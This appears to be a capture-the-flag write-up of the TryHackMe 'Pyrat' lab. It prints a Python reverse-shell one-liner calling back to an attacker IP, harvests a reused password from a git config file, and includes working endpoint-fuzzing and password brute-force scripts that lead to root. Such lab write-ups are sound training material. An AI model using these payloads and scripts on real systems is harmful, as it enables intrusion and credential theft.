TryHackMe - Pyrat
Title | Pyrat |
---|---|
Difficulty | Easy |
Authors | TryHackMe & josemlwdf |
Tags | python, rce, privesc |
Enumeration
Nmap
$ sudo nmap -p- --min-rate 5000 -Pn pyrat.thm
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-16 15:39 +07
Nmap scan report for pyrat.thm (10.10.187.125)
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds
$ sudo nmap -sC -A -sV -Pn -p 21,8000 pyrat.thm
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-16 15:40 +07
Nmap scan report for pyrat.thm (10.10.187.125)
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
21/tcp closed ftp
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=10/16%Time=670F7BF4%P=x86_64-pc-linux-gnu%
SF:r(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20d
SF:efined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain
SF:\x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<s
SF:tring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20can
SF:not\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'
SF:\x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\
SF:x20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20stri
SF:ng\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"
SF:source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(He
SF:lp,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"inval
SF:id\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid
SF:\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x2
SF:0code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D
SF:,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(
SF:JavaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20by
SF:tes\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null
SF:\x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/16%OT=8000%CT=21%CU=32621%PV=Y%DS=2%DC=T%G=Y%TM=
OS:670F7CB3%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%T
OS:S=A)SEQ(SP=104%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M508ST11NW6%O2=M
OS:508ST11NW6%O3=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11NW6%O6=M508ST11)WIN
OS:(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F50
OS:7%O=M508NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(
OS:R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RI
OS:PL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 270.78 ms 10.9.0.1
2 278.15 ms pyrat.thm (10.10.187.125)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 203.51 seconds
Port 8000
Based on the description of the room, the service Python executes via HTTP server is vulnerable. I used telnet
to connect with the target server on port 8000
and perform a few attempts at the command line to verify it is running with Python syntax:
$ telnet pyrat.thm 8000
Trying 10.10.187.125...
Connected to pyrat.thm.
Escape character is '^]'.
?
invalid syntax (<string>, line 1)
help
print('hello')
hello
^C^]
telnet> quit
Connection closed.
Since the target service was verified, I use a Python reverse shell to establish a connection back to my own machine:
socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.68.89",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.6.68.89] from (UNKNOWN) [10.10.31.104] 49556
$
Vulnerability Exploit
Privilege Escalation 1
First of all, I spawned a tty shell:
$ whoami;id
whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
bash: /root/.bashrc: Permission denied
www-data@Pyrat:~$ export TERM=xterm
export TERM=xterm
www-data@Pyrat:~$ ^Z
zsh: suspended nc -lvnp 4444
┌──(kali㉿kali)-[~/TryHackMe/Pyrat]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 4444
stty rows 38 columns 116
www-data@Pyrat:~$ pwd; ls -lht
/root
Navigate to home
directory and easily found only 1 target user for the privilege escalation process:
www-data@Pyrat:/$ cd /home
www-data@Pyrat:/home$ ls -lht
total 4.0K
drwxr-x--- 5 think think 4.0K Jun 21 2023 think
However, the working directory of think
user does not allow anyone else to access. Therefore, I start to find the relative files that belong to this user:
www-data@Pyrat:/home$ find / -user think -type f 2>/dev/null
/opt/dev/.git/objects/0a/3c36d66369fd4b07ddca72e5379461a63470bf
/opt/dev/.git/objects/ce/425cfd98c0a413205764cb1f341ae2b5766928
/opt/dev/.git/objects/56/110f327a3265dd1dcae9454c35f209c8131e26
/opt/dev/.git/COMMIT_EDITMSG
/opt/dev/.git/HEAD
/opt/dev/.git/description
/opt/dev/.git/hooks/pre-receive.sample
/opt/dev/.git/hooks/update.sample
/opt/dev/.git/hooks/post-update.sample
/opt/dev/.git/hooks/pre-applypatch.sample
/opt/dev/.git/hooks/pre-commit.sample
/opt/dev/.git/hooks/pre-merge-commit.sample
/opt/dev/.git/hooks/prepare-commit-msg.sample
/opt/dev/.git/hooks/applypatch-msg.sample
/opt/dev/.git/hooks/fsmonitor-watchman.sample
/opt/dev/.git/hooks/commit-msg.sample
/opt/dev/.git/hooks/pre-rebase.sample
/opt/dev/.git/hooks/pre-push.sample
/opt/dev/.git/config
/opt/dev/.git/info/exclude
/opt/dev/.git/logs/HEAD
/opt/dev/.git/logs/refs/heads/master
/opt/dev/.git/refs/heads/master
/opt/dev/.git/index
Navigate to the /opt/dev/.git
directory, I continue to use grep
command to verify whether there is any information that contains the username inside the git workplace, and luckily it it:
www-data@Pyrat:/home$ cd /opt/dev/.git/
www-data@Pyrat:/opt/dev/.git$ ls -lht
total 44K
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
drwxrwxr-x 3 think think 4.0K Jun 21 2023 logs
drwxrwxr-x 7 think think 4.0K Jun 21 2023 objects
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4.0K Jun 21 2023 branches
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4.0K Jun 21 2023 hooks
drwxrwxr-x 2 think think 4.0K Jun 21 2023 info
drwxrwxr-x 4 think think 4.0K Jun 21 2023 refs
www-data@Pyrat:/opt/dev/.git$ grep -R "think"
config: username = think
www-data@Pyrat:/opt/dev/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = _TH1NKINGPirate$_
Despite there being the credentials of the github account, it probably would be re-used as the local password of this user on this machine. I decided to make an attempt, and one more time, it worked:
$ ssh think@pyrat.thm
think@pyrat.thm's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 17 Oct 2024 02:05:56 PM UTC
System load: 0.08 Processes: 113
Usage of /: 46.8% of 9.75GB Users logged in: 0
Memory usage: 61% IPv4 address for eth0: 10.10.31.104
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
You have mail.
Last login: Thu Jun 15 12:09:31 2023 from 192.168.204.1
think@Pyrat:~$ whoami;id;pwd
think
uid=1000(think) gid=1000(think) groups=1000(think)
/home/think
think@Pyrat:~$ ls -lht
total 8.0K
drwx------ 3 think think 4.0K Jun 21 2023 snap
-rw-r--r-- 1 root think 33 Jun 15 2023 user.txt
think@Pyrat:~$ cat user.txt
[REDACTED]
Privilege Escalation 2
Get back to the git repository, I use git command to enumerate the status and easily found an interested file:
think@Pyrat:/opt/dev/.git$ cd ../
think@Pyrat:/opt/dev$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: pyrat.py.old
no changes added to commit (use "git add" and/or "git commit -a")
Simply restoring that file and try to understand the script:
think@Pyrat:/opt/dev$ git restore pyrat.py.old
...............................................
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check socket is admin and downgrade if is not aprooved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e
...............................................
From my understanding, if I hit the correct endpoint on port 8000, the server would response in different ways:
- “shell”: The server would establish a shell connection with pty.spawn just like I used the reverse script
- the other endpoints: could lead to another process that potentially leads me to escalate my privilege
So on, I write a simple script using an endpoint wordlist to send them to the target sever on port 8000:
import socket
def fuzz_endpoints(ip, port, endpoints):
for endpoint in endpoints:
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ip, port))
print(f"Testing: {endpoint}")
client_socket.sendall(endpoint.encode() + b'\n')
response = client_socket.recv(1024)
print(f"Response from {endpoint}: {response.decode()}\n")
client_socket.close()
except Exception as e:
print(f"Error with {endpoint}: {e}")
# List of potential endpoints to fuzz
endpoint_list = []
with open("/usr/share/seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt", "r") as wordlist:
endpoint_list.extend(wordlist.readlines())
# Target IP and port (replace with actual values)
target_ip = "pyrat.thm"
target_port = 8000
# Fuzz the endpoints
fuzz_endpoints(target_ip, target_port, endpoint_list)
And I successfully hit the correct endpoint after a minute:
$ python3 fuzzing_endpoints.py
Testing: 0
Response from 0:
Testing: 1
Response from 1:
Testing: 1.0
Response from 1.0:
...
Testing: account
Response from account: name 'account' is not defined
Testing: accounts
Response from accounts: name 'accounts' is not defined
Testing: activate
Response from activate: name 'activate' is not defined
Testing: add
Response from add: name 'add' is not defined
Testing: address
Response from address: name 'address' is not defined
Testing: admin
Response from admin: Password:
However, the target server required a password. The following script would be used to crack the password within a wordlist:
import socket
import time
# Define the target host and port
HOST = "pyrat.thm"
PORT = 8000
# File containing the passwords
password_file = "/usr/share/seclists/Passwords/2023-200_most_used_passwords.txt"
# Set a timeout duration (in seconds)
TIMEOUT = 5
def socket_connect():
# Establish a socket connection
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.settimeout(TIMEOUT) # Set timeout
client_socket.connect((HOST, PORT))
print(f"Connected to {HOST}:{PORT}")
return client_socket
except socket.timeout:
print(f"Connection to {HOST}:{PORT} timed out.")
return None
except Exception as e:
print(f"Failed to connect: {e}")
return None
def login(client_socket):
# Send the initial payload as 'admin'
client_socket.sendall(b"admin\n")
print("Sent username: admin")
# Read server response after sending the username
try:
response = client_socket.recv(1024)
print(response.decode('ascii'))
except socket.timeout:
print("Timeout during login step. No response from the server.")
return False
return True
def try_passwords(client_socket):
# Open the password file
with open(password_file, 'r') as f:
for password in f:
password = password.strip() # Clean up newline characters
if not password:
continue
try:
# Send password to the server
client_socket.sendall(password.encode('ascii') + b"\n")
print(f"Trying password: {password}")
# Read server response
response = client_socket.recv(1024)
decoded_response = response.decode('ascii')
# Print the server response
print(decoded_response)
# Check if the password was accepted (no "password" prompt anymore)
if "password" not in decoded_response.lower():
print(f"Password found: {password}")
break
except socket.timeout:
print("Timeout during password attempt. Re-establishing connection...")
client_socket.close()
client_socket = socket_connect()
if client_socket:
if not login(client_socket):
break
else:
break
time.sleep(1) # Avoid overwhelming the server with too many requests
def main():
client_socket = socket_connect()
if client_socket:
if login(client_socket):
try_passwords(client_socket)
client_socket.close()
if __name__ == "__main__":
main()
Waiting for the process and finally get the correct password:
$ python3 crack_passwd.py
Connected to pyrat.thm:8000
Sent username: admin
Password:
Trying password: 123456
Password:
Trying password: admin
Password:
Trying password: 12345678
Timeout during password attempt. Re-establishing connection...
Connected to pyrat.thm:8000
Sent username: admin
Password:
Trying password: 123456789
Password:
Trying password: 1234
Password:
Trying password: Pass@123
Password:
Trying password: ******
Password:
Trying password: 112233
Timeout during password attempt. Re-establishing connection...
Connected to pyrat.thm:8000
Sent username: admin
Password:
Trying password: 102030
Password:
Trying password: ubnt
Password:
Trying password: [REDACTED]
Welcome Admin!!! Type "shell" to begin
Password found: [REDACTED]
Since the password was found, it easily to get the root
user and capture the final flag:
-rwxr-xr-x 1 root root 5.3K Apr 15 2024 pyrat.py
drwxrwx--- 7 root root 4.0K Apr 15 2024 .
-rw-rw-rw- 1 root root 11K Apr 15 2024 .viminfo
drwxr-xr-x 3 root root 4.0K Jan 4 2024 .local
drwx------ 3 root root 4.0K Dec 22 2023 .config
drwxr-xr-x 18 root root 4.0K Dec 22 2023 ..
-rw-r--r-- 1 root root 29 Jun 21 2023 .gitconfig
drwx------ 2 root root 4.0K Jun 21 2023 .cache
-rwxrwx--- 1 root root 3.2K Jun 21 2023 .bashrc
-rw-r--r-- 1 root root 75 Jun 15 2023 .selected_editor
-rw-r----- 1 root root 33 Jun 15 2023 root.txt
drwxrwx--- 3 root root 4.0K Jun 2 2023 snap
lrwxrwxrwx 1 root root 9 Jun 2 2023 .bash_history -> /dev/null
drwxrwx--- 2 root root 4.0K Jun 2 2023 .ssh
-rwxrwx--- 1 root root 161 Dec 5 2019 .profile
# # cat root.txt
cat root.txt
[REDACTED]